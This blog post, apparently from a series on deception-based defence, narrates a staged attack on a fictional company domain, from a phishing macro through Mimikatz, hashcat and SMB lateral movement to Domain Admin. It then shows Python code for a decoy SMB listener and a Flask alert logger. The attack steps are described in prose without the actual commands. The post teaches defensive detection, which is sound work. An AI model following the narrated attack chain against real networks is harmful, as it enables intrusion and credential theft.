Deception in practice

So far this blog has covered the basics of creating decoy machines, decoy files, and decoy credentials. In order to demonstrate the power of deception, this post will explore an attack against an Active Directory domain that assumes it will likely be breached one day and thus uses deception as part of its strategy to detect attackers. The machines involved in this attack are as follows:

Throughout the course of the attack, the attacker will:

• Compromise a user via phishing
• Perform internal reconnaissance on the user’s computer
• Escalate their privileges on the user’s machine
• Discover (hashed) credentials to a different user on the domain
• Crack the hash, revealing the other user’s password
• Perform internal reconnaissance on the domain
• Use the second user’s password to compromise a second computer
• Perform internal reconnaissance on the other user’s computer
• Discover a password manager’s (encrypted) database backup
• Crack the hash, revealing the contents of the password manager
• Escalate their privileges to Domain Administrator, effectively compromising the entire domain

While this attack scenario does not reflect an advanced adversary, it is realistic; even if a real attacker does not use the exact same techniques shown below, they are likely to follow similar strategies.

Initial access on desktop-01 via phishing

The attacker created a Microsoft Word document with a malicious macro that, when the file is opened, connects back to their computer using the metasploit attacker framework’s meterpreter payload. Any meterpreter session the attacker receives will enable them to run commands on the compromised machine. With this in mind, they ran a command to prepare their computer to receive a connection.

Shortly after sending an email to one of Blue Pill Security’s employees, the attacker received a connection. This means that the employee fell for the phishing email and opened the document, giving the attacker full control of their machine.

Internal reconnaissance on desktop-01

With a shell open on the victim’s computer, the attacker quickly scanned for files of interest, starting with Word documents.

With no interesting Word documents to look through, the attacker decided to try for PDF files.

Then the attacker searched for files on the machine with the word “credential” in the name.

The attacker tried again, but with the word “password”.

Moving on from files of interest, the attacker searched the computer for environment variables that might lead to more privileges.

In an effort to find something to (ab)use, the attacker turned their attention to the user account.

With little else working, the attacker decided to try to gather more information about the computer they had compromised

The attacker quickly loaded the appropriate metasploit module to exploit the vulnerability, set the required options, and ran the attack.

With the increased privileges, the attacker turned to a tried-and-true exploitation tool to steal credentials from a computer, Mimikatz. Using Mimikatz allowed the attacker to dump the contents of the Local Security Authority (LSA).

Recognizing that MsCacheV2 hashes can be cracked - converted back into the original password that corresponds to the hash - the attacker copied the hashes into a file on their attacking machine for further exploitation.

The attacker then used hashcat to attempt to crack the hashes using a dictionary attack. To do so, they provided a collated list of commonly-used passwords to hashcat, which then computed the hash for each password and compared it to the values in the files. If any values match, that means the password has been cracked.

With multiple hashes to crack and a large dictionary to run through, hashcat had a lot of computing to do, so the attacker took a quick nap.

When the command finished running, the attacker was happy to discover that they had cracked the password for Bob, another user in the bluepillsecurity.com domain.

With a new user’s credentials, the attacker knew they needed to find a way to use them. Their first thought was to find out more information about the user they had compromised.

The attacker then decided to see if there were any other machines in the domain. With valid credentials, they hoped they might be able to log into another machine and use it to further advance their attack.

The attacker decided to see if either of these machines was exploitable. First, they knew they would need the IP address of the machines.

Then the attacker repeated that command, but for desktop-03.

Armed with this information, the attacker configured metasploit to route its traffic through the first connection it had made with Alice’s computer. Routing traffic this way increases the likelihood that subsequent attacks or commands they run are able to bypass network filtering.

Before proceeding, the attacker checked the contents of their /etc/proxychains4.conf file, to ensure that they would be able to configure a socks proxy for them to use.

Then the attacker returned to metasploit and entered the correct port in the options to set up, then start, the proxy.

In an abundance of caution, the attacker checked port 9050 on their attack machine for a listening service.

The attacker then used proxychains and nmap to scan the “desktop-02” machine through the “desktop-01” machine.

Lateral movement within the domain

Knowing that SMB allows a user to log in with domain credentials, the attacker returned to metasploit and set up a module to do just that.

After entering all of the required information, the attacker kicked off the attack.

Hoping that the other machine on the domain would prove more exploitable, the attacker ran the same proxychains nmap command on desktop-03.

The attacker once again configured the metasploit module and ran it.

Internal reconnaissance on desktop-03

Happy to have compromised another computer, the attacker repeated the same steps as they had when they first compromised desktop-01. They started with the file enumeration module in metasploit.

They ran the module looking for Word documents, just as they had before.

Interested, but determined to gather as much information as possible from desktop-03, the attacker continued by searching for PDF files.

Then they searched for files with the word “credential” in the name.

Followed by a search for files with the word “password” in the name.

Excited at the possibility of getting even more of Bob’s credentials, the attacker copied the .kdb file to their attack computer and converted it into a format that their trusted hash cracking tool hashcat can use.

Once again, the attacker ran a hashcat command to start the process of cracking the database file.

With the hashcat scan running, the attacker printed out it’s progress to see how long it would take.

With renewed energy and a fresh set of eyes, the attacker decided that they would start the day by looking at the Word document they had stolen from Bob’s computer.

They then decided to go back to their normal operating procedures and gather the environment variables from Bob’s computer, just as they had done on Alice’s.

After placing the AWS API keys in their own environment, the attacker used their proxy through desktop-01 to try using the credentials.

Discouraged but determined, the attacker took another break. When they came back to their machine, they checked back on the hashcat command they had run a while back, and noticed that it was finally done.

The attacker quickly opened up the .kdb file on their attack machine and entered this password.

At long last, the attacker was able to access Bob’s passwords.

Privilege escalation to Domain Admin

With this password, the attacker returned for one last time, to the metasploit module they had been using for lateral movement.

While achieving Domain Admin privileges is almost never the end goal for an attacker, it is a safe assumption that if an attacker is able to compromise the Domain Admin account they will be able to use it to do whatever it is they aim to do. Whether their goal was to deploy a ransomware attack to all machines in the domain, create highly privileged accounts for persistence in the environment, or steal sensitive information stored somewhere in the company’s network, they will be able to do so.

Deception’s role in defense

In the lateral movement phase of the attack, the attacker’s first action revealed their presence in the environment; most employees of Blue Pill Security don’t know that the decoy machine at 192.168.5.67 exists, and therefore have no reason to try to log into it. By attempting to log in, the attacker got themselves caught.

The decoy machine at 192.168.5.67 is nearly identical to the realistic decoy outlined in post 4. After setting up a listener on port 445 - the default port for SMB - the machine waits for connection attempts and, upon receiving any, sends alerts to the portal at 192.168.5.4.

import requests
import socket

# Listen from any IP address
ANY_IP = "0.0.0.0"
# Listen on port 22
SERVICE_PORT = 445

# Create a socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Bind the socket to an address and port
service_addr = (ANY_IP, SERVICE_PORT)
sock.bind(service_addr)

# Listen for incoming connections
sock.listen(1)

# Indicate that the program is running
print('Waiting for a connection...')

try:
    while True:
        try:
            # Accept a connection
            conn, client_addr = sock.accept()

            # Send an alert - for demonstration purposes this will suffice
            requests.get(f"http://192.168.5.4:5000/smb?ip={client_addr[0]}&port={client_addr[1]}")

            # Close the connection
            conn.close()
        except ConnectionResetError:
            # Suppress the error that would otherwise occur here
            pass
except KeyboardInterrupt:
    # Suppress the error and report that the service is shutting down
    print("Shutting down decoy service")
finally:
    # Close the connection
    sock.close()

While performing internal reconnaissance on desktop-03, the attacker once again revealed themselves. Bob’s computer had a decoy file like the one created in post 5 on it that, when opened, alerted the security team that an attacker had compromised Bob’s account. Most employees of Blue Pill Security do not know of this file on their computers, so when it is opened, it usually means that someone went looking for things they could use to facilitate an attack.

Another alert triggered, alerting the security team that an attacker had breached their domain, during the internal reconnaissance on desktop-03 phase of the attack. The attacker, upon finding what appeared to be an AWS API key, used it to list the contents of a Simple Storage Service (S3) bucket. The decoy key, which mirrors the one outlined in post 6 was hidden from most non-developer users because of its placement in an environment variable, so its use is an anomaly that likely indicates malicious activity.

All of the above alerts were handled by a simple Python Flask app, which logged alerts to a file on the 192.168.5.4 machine. By keeping track of updates to the file, the security team can quickly respond to any suspicious activity.

import datetime
from flask import Flask, request, send_file

app = Flask(__name__)

ALERT_FILE = "/home/dev/bps_siem/alerts.txt"

@app.route("/aws")
# Handle a decoy AWS key alert
def aws():
    # Get the IP address of the computer that used the decoy key from the request
    user_ip_address = request.args.get("ip")
    # Get the resource that the user tried to use the decoy key on from the request
    service = request.args.get("service")
    # Get the command that the user tried to use the decoy key to run from the request
    command = request.args.get("command")
    # Get the name of (maybe compromised) user whose key was used from the request
    user_name = request.args.get("user")
    # Get the key that was used from the request
    decoy_key = request.args.get("key")
    # Log the alert
    with open(ALERT_FILE, "a") as f:
        f.write(
            f"[{datetime.datetime.now()}] {user_name} may be compromised - their key {decoy_key} was used from {user_ip_address} to try to call {service}'s {command}\n")

    return

@app.route("/doc")
# Handle a decoy document alert
def doc():
    # Get the user that was (maybe) compromised from the request
    user = request.args.get("user")
    # Get the IP address that the file was opened on
    ip_address = request.remote_addr
    # Log the alert
    with open(ALERT_FILE, "a") as f:
        f.write(f"[{datetime.datetime.now()}] {user}'s computer may be compromised - their document was opened by {ip_address}\n")

    # Return the image for the document
    return send_file("/home/dev/bps_siem/logo.png", mimetype="image/png")

@app.route("/smb")
# Handle a decoy SMB alert
def smb():
    # Get the IP address of the decoy accessed
    decoy_ip_address = request.remote_addr
    # Get the IP address of the (maybe compromised) computer that accessed the decoy from the request
    user_ip_address = request.args.get("ip")
    # Get the port that the (maybe compromised) computer used to access the decoy from the request
    user_port = request.args.get("port")
    # Log the alert
    with open(ALERT_FILE, "a") as f:
        f.write(f"[{datetime.datetime.now()}] {user_ip_address} may be compromised - it's port {user_port} accessed the decoy at {decoy_ip_address}\n")

    return

if __name__ == "__main__":
    app.run(host="0.0.0.0")

Wrapping up

Throughout this post, deception played a role in detecting an attacker’s activity. The deception was positioned to catch the types of things the security team anticipated an attacker might do, enabling it to detect the attacker regardless of what particular technique the attacker employed. In structuring the deception efforts this way, the defenders were able to catch the attacker three different times and protect their environment using very few resources and a only few dozen lines of code.